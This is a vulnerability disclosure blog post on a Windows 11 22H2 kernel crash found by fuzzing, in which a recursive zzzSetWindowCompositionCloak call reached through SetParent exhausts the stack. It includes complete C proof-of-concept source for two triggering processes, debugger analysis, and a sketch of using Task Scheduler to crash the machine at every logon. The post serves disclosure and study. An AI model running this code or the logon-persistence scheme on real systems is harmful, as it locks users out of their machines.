Denial of Service in Windows 11 22H2

As a part of our efforts to fuzz Windows Kernel using in-house WinK fuzzer [1], we were able to fuzz Windows 11 22H2 v22621.2283, x64 architecture. This target was chosen for a multitude of reasons, chiefly this being the latest publicly available version at the time of writing this blog. We found a crash in Windows 11 22H2 v22621.2283, x64, released to the public on 12th September 2023 via update KB030219.

The crash was found in the Windows kernel using our in-house Wink fuzzer. This crash was analyzed and reported to Microsoft as part of Payatu’s responsible disclosure policy. The code causing the crash can be used to cause repeated Denial of Service in Windows 11 machines.

The vendor has determined that a fix will not be issued for the reported behaviour, as the crash is not triggered in Windows Insider [2] Canary latest build (13th September 2023 build).

Kernel Bugcheck

A call to SetParent API from user mode triggers a crash in the Windows kernel. The crash occurs when controlled code is executed as distinct Windows processes due to stack exhaustion in the zzzSetWindowCompositionCloak function. 

There exists a recursive call to zzzSetWindowCompositionCloak, which is triggered as part of the SetParent API call. The system does not break out of recursion, leading to a potentially infinite recursive call chain. This breaks the stack limit, leading to the crash. The crash bug check code is 0x7F (UNEXPECTED_KERNEL_MODE_TRAP) with 0x08 (DOUBLE_FAULT). 

windows kernel bug check code - primary 0x7f, secondary 0x08, that, EXCEPTION_DOUBLE_FAULT, indicating a potential denial of service via stack exhaustion
Figure 1. Kernel bug check code

The controlled code is executed as two distinct Windows processes, one after the other. The code is as described below. We compiled each piece of code into Windows executables (.exe) using Visual Studio 2022 Community edition with the relevant SDK (v10.0.22621.0) and platform toolset (v143). These two executables were executed as Processes 1 and 2, as shown below. 

Code Listing

Process 1 

#include <Windows.h> 

ATOM atom_w0 = NULL, atom_w1 = NULL; 
HWND hwnd_exw4 = NULL, hwnd_exw5 = NULL; 
HWND hwnd_exw6 = NULL; 
HINSTANCE hinst0 = NULL; 

int func(){
        WNDCLASSW wndclassw0 = { 0 }; 
        wndclassw0.style = 0x0L; 
        wndclassw0.lpfnWndProc = DefWindowProcW; 
        wndclassw0.cbClsExtra = 0x19f2; 
        wndclassw0.cbWndExtra = 0x1f4535; 
        wndclassw0.hInstance = hinst0; 
        wndclassw0.hIcon = 0x0; 
        wndclassw0.hCursor = 0x0; 
        wndclassw0.hbrBackground = 0x0; 
        wndclassw0.lpszMenuName = LPCWSTR("\x4d\x00\x65\x00\x6e\x00\x75\x00\x5f\x00\x4e\x00\x4d\x00\x30\x00\x00\x00");
        wndclassw0.lpszClassName = LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x30\x00\x00\x00");

        atom_w0 = RegisterClassW((WNDCLASSW *)(&wndclassw0)); 
        if (atom_w0 == NULL) { 
                return(-1); 
        } 

        WNDCLASSW wndclassw1 = { 0 }; 
        wndclassw1.style = 0x0L; 
        wndclassw1.lpfnWndProc = DefWindowProcW; 
        wndclassw1.cbClsExtra = 0x5526; 
        wndclassw1.cbWndExtra = 0x209d6383; 
        wndclassw1.hInstance = hinst0; 
        wndclassw1.hIcon = 0x0; 
        wndclassw1.hCursor = 0x0; 
        wndclassw1.hbrBackground = 0x0; 
        wndclassw1.lpszMenuName = LPCWSTR("\x4d\x00\x65\x00\x6e\x00\x75\x00\x5f\x00\x4e\x00\x4d\x00\x31\x00\x00\x00");
        wndclassw1.lpszClassName = LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x31\x00\x00\x00");

        atom_w1 = RegisterClassW((WNDCLASSW *)(&wndclassw1)); 
        if (atom_w1 == NULL) { 
                return(-1); 
        } 

        hwnd_exw4 = CreateWindowExW(DWORD(0x0L), LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x30\x00\x00\x00"), LPCWSTR("\x57\x00\x4e\x00\x44\x00\x5f\x00\x4e\x00\x4d\x00\x34\x00\x00\x00"), DWORD(0x4d83L), int(0x2691b46dL), int(0xacceb096L), int(0x6659L), int(0xe9a447e3L), HWND(0x0), HMENU(0x0), HINSTANCE(hinst0), LPVOID(0x990a7503L)); 

        if (hwnd_exw4 == NULL) { 
                return(-1); 
        } 

        hwnd_exw5 = CreateWindowExW(DWORD(0x1L), LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x31\x00\x00\x00"), LPCWSTR("\x57\x00\x4e\x00\x44\x00\x5f\x00\x4e\x00\x4d\x00\x35\x00\x00\x00"), DWORD(0x421eL), int(0x96cc7781L), int(0x42f10L), int(0xa124892dL), int(0xa0fb6608L), HWND(0x0), HMENU(0x0), HINSTANCE(hinst0), LPVOID(0x1407L)); 

        if (hwnd_exw5 == NULL) { 
                return(-1); 
        } 

        hwnd_exw6 = GetWindow(HWND(hwnd_exw4), UINT(0x1L)); 
        SetParent(HWND(hwnd_exw6), HWND(hwnd_exw5)); 

        DestroyWindow(HWND(hwnd_exw4));
        DestroyWindow(HWND(hwnd_exw5)); 
        DestroyWindow(HWND(hwnd_exw6)); 

        UnregisterClassW(
LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x30\x00\x00\x00"), HINSTANCE(0)); 
        UnregisterClassW(
LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x31\x00\x00\x00"), HINSTANCE(0)); 

        return(0); 
} 

int main() { 
        hinst0 = GetModuleHandleW(NULL); 
        if (hinst0 == NULL) { 
                return(-1); 
        } 

        if (func() != 0) { 
                return(-1); 
        } 

        return(0); 
}

Process 2 –

#include <Windows.h> 

ATOM atom_w0 = NULL, atom_w1 = NULL, atom_w2 = NULL; 
ATOM atom_exw1 = NULL; 
HWND hwnd_exw2 = NULL, hwnd_exw3 = NULL, hwnd_exw4 = NULL, hwnd_exw5 = NULL; 
HWND hwnd_exw6 = NULL; 
HINSTANCE hinst0 = NULL; 

int func1(){ 
        WNDCLASSW wndclassw1 = { 0 }; 
        wndclassw1.style = 0x0L; 
        wndclassw1.lpfnWndProc = DefWindowProcW; 
        wndclassw1.cbClsExtra = 0x6ace; 
        wndclassw1.cbWndExtra = 0x12eba2; 
        wndclassw1.hInstance = hinst0; 
        wndclassw1.hIcon = 0x0; 
        wndclassw1.hCursor = 0x0; 
        wndclassw1.hbrBackground = 0x0; 
        wndclassw1.lpszMenuName = LPCWSTR("\x4d\x00\x65\x00\x6e\x00\x75\x00\x5f\x00\x4e\x00\x4d\x00\x31\x00\x00\x00");        wndclassw1.lpszClassName = LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x31\x00\x00\x00");

        atom_w1 = RegisterClassW((WNDCLASSW *)(&wndclassw1)); 
        if (atom_w1 == NULL) { 
                return(-1); 
        } 

        WNDCLASSW wndclassw2 = { 0 }; 
        wndclassw2.style = 0x0L; 
        wndclassw2.lpfnWndProc = DefWindowProcW; 
        wndclassw2.cbClsExtra = 0x55ed; 
        wndclassw2.cbWndExtra = 0x297366b8; 
        wndclassw2.hInstance = hinst0; 
        wndclassw2.hIcon = 0x0; 
        wndclassw2.hCursor = 0x0; 
        wndclassw2.hbrBackground = 0x0; 
        wndclassw2.lpszMenuName = LPCWSTR("\x4d\x00\x65\x00\x6e\x00\x75\x00\x5f\x00\x4e\x00\x4d\x00\x32\x00\x00\x00");        wndclassw2.lpszClassName = LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x32\x00\x00\x00");

        atom_w2 = RegisterClassW((WNDCLASSW *)(&wndclassw2)); 
        if (atom_w2 == NULL) { 
                return(-1); 
        } 

        hwnd_exw2 = CreateWindowExW(DWORD(0xdL), LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x32\x00\x00\x00"), LPCWSTR("\x57\x00\x4e\x00\x44\x00\x5f\x00\x4e\x00\x4d\x00\x32\x00\x00\x00"), DWORD(0x6a59L), int(0x363cc33bL), int(0xfe103023L), int(0x9f8441f7L), int(0x2cd0d728L), HWND(0x0), HMENU(0x0), HINSTANCE(hinst0), LPVOID(0x16dc83L)); 

        if (hwnd_exw2 == NULL) { 
                return(-1); 
        } 

        hwnd_exw4 = CreateWindowExW(DWORD(0xeL), LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x31\x00\x00\x00"), LPCWSTR("\x57\x00\x4e\x00\x44\x00\x5f\x00\x4e\x00\x4d\x00\x34\x00\x00\x00"), DWORD(0x58a2L), int(0x34fc6L), int(0xda4c93b2L), int(0xf7d43dd5L), int(0x4f54aL), HWND(0x0), HMENU(0x0), HINSTANCE(hinst0), LPVOID(0xdb7bb49bL)); 

        if (hwnd_exw4 == NULL) { 
                return(-1); 
        }

        GetWindow(HWND(hwnd_exw2), UINT(0x0L)); 
        DeregisterShellHookWindow(HWND(hwnd_exw5)); 
        OpenIcon(HWND(hwnd_exw4)); 

        DestroyWindow(HWND(hwnd_exw2)); 
        DestroyWindow(HWND(hwnd_exw4)); 

        UnregisterClassW(
LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x31\x00\x00\x00"), HINSTANCE(0)); 
        UnregisterClassW(
LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x32\x00\x00\x00"), HINSTANCE(0)); 

        return(0); 
} 

int func2(){ 
        WNDCLASSW wndclassw0 = { 0 }; 
        wndclassw0.style = 0x0L; 
        wndclassw0.lpfnWndProc = DefWindowProcW; 
        wndclassw0.cbClsExtra = 0x4542; 
        wndclassw0.cbWndExtra = 0x267dc409; 
        wndclassw0.hInstance = hinst0; 
        wndclassw0.hIcon = 0x0; 
        wndclassw0.hCursor = 0x0; 
        wndclassw0.hbrBackground = 0x0; 
        wndclassw0.lpszMenuName = LPCWSTR("\x4d\x00\x65\x00\x6e\x00\x75\x00\x5f\x00\x4e\x00\x4d\x00\x30\x00\x00\x00");        wndclassw0.lpszClassName = LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x30\x00\x00\x00");

        atom_w0 = RegisterClassW((WNDCLASSW *)(&wndclassw0)); 
        if (atom_w0 == NULL) { 
                return(-1); 
        } 

        WNDCLASSW wndclassw2 = { 0 }; 
        wndclassw2.style = 0x0L; 
        wndclassw2.lpfnWndProc = DefWindowProcW; 
        wndclassw2.cbClsExtra = 0x5cea; 
        wndclassw2.cbWndExtra = 0x369aefbf; 
        wndclassw2.hInstance = hinst0; 
        wndclassw2.hIcon = 0x0; 
        wndclassw2.hCursor = 0x0; 
        wndclassw2.hbrBackground = 0x0; 
        wndclassw2.lpszMenuName = LPCWSTR("\x4d\x00\x65\x00\x6e\x00\x75\x00\x5f\x00\x4e\x00\x4d\x00\x32\x00\x00\x00");        wndclassw2.lpszClassName = LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x32\x00\x00\x00");

        atom_w2 = RegisterClassW((WNDCLASSW *)(&wndclassw2)); 
        if (atom_w2 == NULL) { 
                return(-1); 
        } 

        WNDCLASSEXW wndclassexw4 = { 0 }; 
        wndclassexw4.cbSize = 0x50L; 
        wndclassexw4.style = 0x0L; 
        wndclassexw4.lpfnWndProc = DefWindowProcW; 
        wndclassexw4.cbClsExtra = 0x7f9c; 
        wndclassexw4.cbWndExtra = 0x30ccf02f; 
        wndclassexw4.hInstance = hinst0; 
        wndclassexw4.hIcon = 0x0; 
        wndclassexw4.hCursor = 0x0; 
        wndclassexw4.hbrBackground = 0x0; 
        wndclassexw4.lpszMenuName = LPCWSTR("\x4d\x00\x65\x00\x6e\x00\x75\x00\x5f\x00\x4e\x00\x4d\x00\x34\x00\x00\x00");
        wndclassexw4.lpszClassName = LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x34\x00\x00\x00");
        wndclassexw4.hIconSm = 0x0; 

        atom_exw1 = RegisterClassExW((WNDCLASSEXW *)(&wndclassexw4)); 
        if (atom_exw1 == NULL) { 
                return(-1); 
        } 

        hwnd_exw2 = CreateWindowExW(DWORD(0xaL), LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x32\x00\x00\x00"), LPCWSTR("\x57\x00\x4e\x00\x44\x00\x5f\x00\x4e\x00\x4d\x00\x32\x00\x00\x00"), DWORD(0x635eL), int(0x29d54a3cL), int(0xa1f9b924L), int(0xc06dc8f0L), int(0x33395e2fL), HWND(0x0), HMENU(0x0), HINSTANCE(hinst0), LPVOID(0x1f5584L)); 

        if (hwnd_exw2 == NULL) { 
                return(-1); 
        } 

        hwnd_exw3 = CreateWindowExW(DWORD(0x0L), LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x30\x00\x00\x00"), LPCWSTR("\x57\x00\x4e\x00\x44\x00\x5f\x00\x4e\x00\x4d\x00\x33\x00\x00\x00"), DWORD(0x35eL), int(0x4cfa9L), int(0x5789aL), int(0x8771314eL), int(0xf0d7fb32L), HWND(0x0), HMENU(0x0), HINSTANCE(hinst0), LPVOID(0x3641e192L)); 

        if (hwnd_exw3 == NULL) { 
                return(-1); 
        } 

        hwnd_exw5 = CreateWindowExW(DWORD(0xdL), LPCWSTR("\x43\x00\x4c\x00\x53\x00\x53\x00\x5f\x00\x4e\x00\x4d\x00\x34\x00\x00\x00"), LPCWSTR("\x57\x00\x4e\x00\x44\x00\x5f\x00\x4e\x00\x4d\x00\x35\x00\x00\x00"), DWORD(0x27a4L), int(0x2f95de7cL), int(0xf933837aL), int(0x1cc0cbL), int(0x356bf2d6L), HWND(0x0), HMENU(0x0), HINSTANCE(hinst0), LPVOID(0x22ff7442L)); 

        if (hwnd_exw5 == NULL) { 
                return(-1); 
        } 

        SwitchToThisWindow(HWND(hwnd_exw5), BOOL(0x0L)); 
        hwnd_exw6 = GetWindow(HWND(hwnd_exw2), UINT(0x0L)); 
        SetParent(HWND(hwnd_exw3), HWND(hwnd_exw6)); 

        return(0); 
} 

int main() { 
        hinst0 = GetModuleHandleW(NULL); 
        if (hinst0 == NULL) { 
                return(-1); 
        } 

        if (func1() != 0) { 
                return(-1); 
        } 

        if (func2() != 0) { 
                return(-1); 
        } 

        return(0); 
}

Checking the call stack after crash, we see multiple stack frames for ‘win32kfull!zzzSetWindowCompositionCloak+0x1a0’.  

call stack trace showing multiple call frames for zzzSetWindowCompositionCloak+0x1a0 in win32kfull.sys driver of Windows
Figure 2. Call stack dump showing multiple frames for win32kfull!zzzSetWindowCompositionCloak+0x1a0

Dumping the instruction at the return address for any of these frames, a recursive call to zzzSetWindowCompositionCloak is confirmed. 

disassembly dump for win32!zzzSetWindowCompositionCloak+0x1a0 showing recursive call to zzzSetWindowCompositionCloak
Figure 3. Disassembly dump for win32kfull!zzzSetWindowCompositionCloak+0x1a0 shows recursive call to zzzSetWindowCompositionCloak

Executing ‘kv’ in the debugger, we see that the crash has a trap frame, which can be analyzed using ‘.trap’. 

crash has a trap fram, meaning the crash can be further analyzed for stack exhaustion
Figure 4. Trap frame in call chain resulting in a crash

Illustrated in the above figure, dumping the stack frame shows the stack pointer, that is, ‘rsp’ as borderline, indicating stack exhaustion.

borderline 'rsp' value and stack dump at 'rsp' indicating invalid mmory, which in turn means stack exhaustion which can be used for Denial of Service
Figure 5. Borderline ‘rsp’ value indicating stack exhaustion.

Since this vulnerability is merely a stack exhaustion in the Windows kernel, it can lead, at most, to Denial of Service. Combining this vulnerability with good operational knowledge, an attacker can cause system(s) to crash repeatedly. For example, an attacker can use a task scheduler to schedule execution, after logging on, of the executables previously obtained through compilation. That way, as soon as the user logs on, the task scheduler executes the code, and the bug gets triggered, causing the Windows session to terminate ultimately. This happens every time the user restarts the machine after a previous crash and tries to log on, effectively denying the user access to the system, that is, denial of service. 

Bibliography

[1] https://payatu.com/blog/creating-new-wink-fuzzer/

[2] https://www.microsoft.com/en-us/windowsinsider/

Subscribe to our Newsletter
Subscription Form
DOWNLOAD THE DATASHEET

Fill in your details and get your copy of the datasheet in few seconds

CTI Report
DOWNLOAD THE EBOOK

Fill in your details and get your copy of the ebook in your inbox

Ebook Download
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download ICS Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Cloud Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download IoT Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Code Review Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Red Team Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download AI/ML Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download DevSecOps Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Product Security Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Mobile Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Web App Sample Report

Let’s make cyberspace secure together!

Requirements

Connect Now Form

What our clients are saying!

Trusted by